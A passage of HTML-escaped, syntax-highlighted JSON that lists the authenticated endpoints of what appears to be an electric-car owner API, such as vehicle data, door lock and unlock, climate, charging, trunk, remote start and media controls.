&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/products&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;VEHICLE_LIST&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;VEHICLE_SUMMARY&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;VEHICLE_DATA&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/data&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;WAKE_UP&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,     
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/wake_up&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;UNLOCK&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/door_unlock&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;LOCK&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/door_lock&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;HONK_HORN&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/honk_horn&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;FLASH_LIGHTS&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/flash_lights&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;CLIMATE_ON&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/auto_conditioning_start&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;CLIMATE_OFF&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/auto_conditioning_stop&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;CHANGE_CLIMATE_TEMPERATURE_SETTING&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/set_temps&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;CHANGE_CHARGE_LIMIT&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/set_charge_limit&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;CHANGE_SUNROOF_STATE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/sun_roof_control&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;ACTUATE_TRUNK&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/actuate_trunk&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;REMOTE_START&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/remote_start_drive&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;CHARGE_PORT_DOOR_OPEN&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/charge_port_door_open&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;CHARGE_PORT_DOOR_CLOSE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/charge_port_door_close&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;START_CHARGE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/charge_start&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;STOP_CHARGE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/charge_stop&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;MEDIA_TOGGLE_PLAYBACK&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/media_toggle_playback&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;MEDIA_NEXT_TRACK&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/media_next_track&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;MEDIA_PREVIOUS_TRACK&amp;#34;&lt;/span&gt;: {
